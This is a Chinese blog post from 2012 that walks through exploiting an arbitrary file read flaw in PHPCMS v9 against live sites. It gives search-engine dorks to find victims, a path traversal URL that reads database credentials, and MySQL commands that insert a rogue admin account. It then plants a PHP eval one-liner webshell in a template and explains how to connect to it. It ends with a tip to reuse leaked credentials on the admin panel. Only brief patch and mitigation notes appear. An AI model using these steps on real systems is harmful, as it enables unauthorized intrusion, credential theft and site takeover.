作者:handt/xnhandt
网址:http://www.cnblogs.com/handt/archive/2012/07/27/2612329.html
声明:欢迎转载,但请注明出处。
联系方式:mail2gw [AT] QQ 。com
在微博上看到漏洞消息,随后在sebug看到介绍:http://sebug.net/vuldb/ssvid-60295
phpcms v9的phpcms\modules\search\index.php存在任意文件读取漏洞 漏洞代码如下: public function public_get_suggest_keyword() { $url = $_GET['url'].'&q='.$_GET['q']; $res = @file_get_contents($url); if(CHARSET != 'gbk') { $res = iconv('gbk', CHARSET, $res); } echo $res; }
问题很明显,$_GET['q']的参数没有进行校验,直接调用了file_get_contents函数文件并显示内容
给出的利用方式为:
/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/phpsso_server/caches/configs/database.php (由于博客园会把../自动替换为http://www.cnblogs.com,所以使用..\/进行了转义,后同)
看起来危害很大,遂从官网下载了phpcms最新版本 v9.16,看到漏洞已经修补。
public function public_get_suggest_keyword() { $url = $_GET['url'].'&q='.$_GET['q']; $trust_url = array('c8430fcf851e85818b546addf5bc4dd3'); $urm_md5 = md5($url); if (!in_array($urm_md5, $trust_url)) exit; $res = @file_get_contents($url); if(CHARSET != 'gbk') { $res = iconv('gbk', CHARSET, $res); } echo $res; }
修改方式:将提交的url md5一次后,看结果是否在trust_url中,不在则返回错误。
下面是利用方式部分:
1. Google 关键字 "Powered by PHPCMS v9 Release" 或者 "Powered by PHPCMS v9",当然结果不少 :-)
2. 访问 ?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/configs/database.php
(注意:不是sebug中给出的phpsso_server 目录,经xnhandt测试,某个网站是没有该目录的)
3. 得到了数据库的配置信息,注意查看host部分的配置,如果是localhost,那你就准备放弃吧(经试验证明,此想法错误,关键还是对方数据库的配置,是否允许远程访问),如果是ip或者域名,比如这样:
array ( 'hostname' => '61.150.xx.xx', 'database' => '数据库名', 'username' => '用户名', 'password' => '密码', 'tablepre' => 'v9_', 'charset' => 'utf8', 'type' => 'mysql', 'debug' => true, 'pconnect' => 0, 'autoconnect' => 0 ), ); ?>
就可以继续往下了
4. 远程连接mysql数据库:
>mysql -u 用户名 -h 域名 -p
>输入密码
>use 数据库名
>select * from v9_admin // 可以先用 show_tables 确定该表是否存在
mysql> insert into v9_admin values('3','xnhandt','52275cda855daa5ec779951cb44170 a1',1,'5YijHB','223.221.32.1','','test@test.co','','','');
建立了新用户:xnhandt:xnhandt
(关于密码:phpcms使用的加密方式是md5( md5($pass) . $encrypt),如果想更换密码,可以在 这里 加密后替换掉insert语句的内容)
5.访问网站后台:
index.php?m=admin
6.插入一句话木马:
(试过用mysql 写入一句话,但mysql用户权限不够,不能创建文件,所以还是迂回到网页的方式)
依次找到如下位置:【界面】-【default 详情列表】 - 【vote】(这个是默认的模块) - 【list_new.html 修改】
在页面顶部加入一句话:
<?php eval($_POST[pass])?>
7.用客户端(推荐菜刀)连接小马:
index.php?m=vote&c=index&siteid=1 密码为 pass
上面1-7就是完整的利用方法了,关于获得webshell再多说一点。
笔者尝试过两种方式获取webshell。
第一种:
利用mysql备份获取webshell的方式可以参看这里:《mysql备份一句话》
该方法的关键是获得网站的物理路径,这里提供一种方法,通过error_log.php文件查看:
index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/error_log.php
显然这里的根路径是:/www/users/xxxx/wwwroot/了
但是备份的方式在执行
select cmd from a into outfile '/www/users/xxxx/wwwroot/d.php';
时返回结果如下:
笔者试过很多目录,比如备份用到的caches/bakup/defalut/ 等可以写入的路径,发现都失败了
最后使用error_log.php 以为这个是可写可读的文件,还是失败。估计是数据库用户(非root)的权限太小,不能写文件
第二种:
直接在网上搜索“phpcms v9 获取 webshell”,找到这篇文章:《Phpcms v9后台拿webshell》
文中的方法不知道作者试过没有,笔者在本地测试不成功。当然,可能是作者的方式被人发到了官方论坛,该方法已经被部分修复了。(比如这里:bbs.phpcms.cn/thread-597032-1-1.html)
所以还是需要自己修改一下。文中直接写文件的方式会失败,但是执行php语句还是可以成功的,在此基础上,直接写入一句话就可以了。
通过上文的分析,可以知道利用该漏洞的前提条件:
1.版本 v9 - v9.15 (最新的v9.16已经修复)
2.数据库开启了远程连接(一般的虚拟主机可能都开启了)
这就是为什么sebug通告中最后提到:
sebug 临时解决方案:
禁止mysql数据库外链.
给数据库单独的用户权限,不要给root权限.
的原因了。
tips:如果对方没有开启数据库连接远程访问,也不要轻易放弃,尝试下用已有信息直接登录后台,你会有意外惊喜 :-)
update:2012-7-28 现在登录后台会有提示
最后,希望看到本文的读者,以学习的态度来对待漏洞。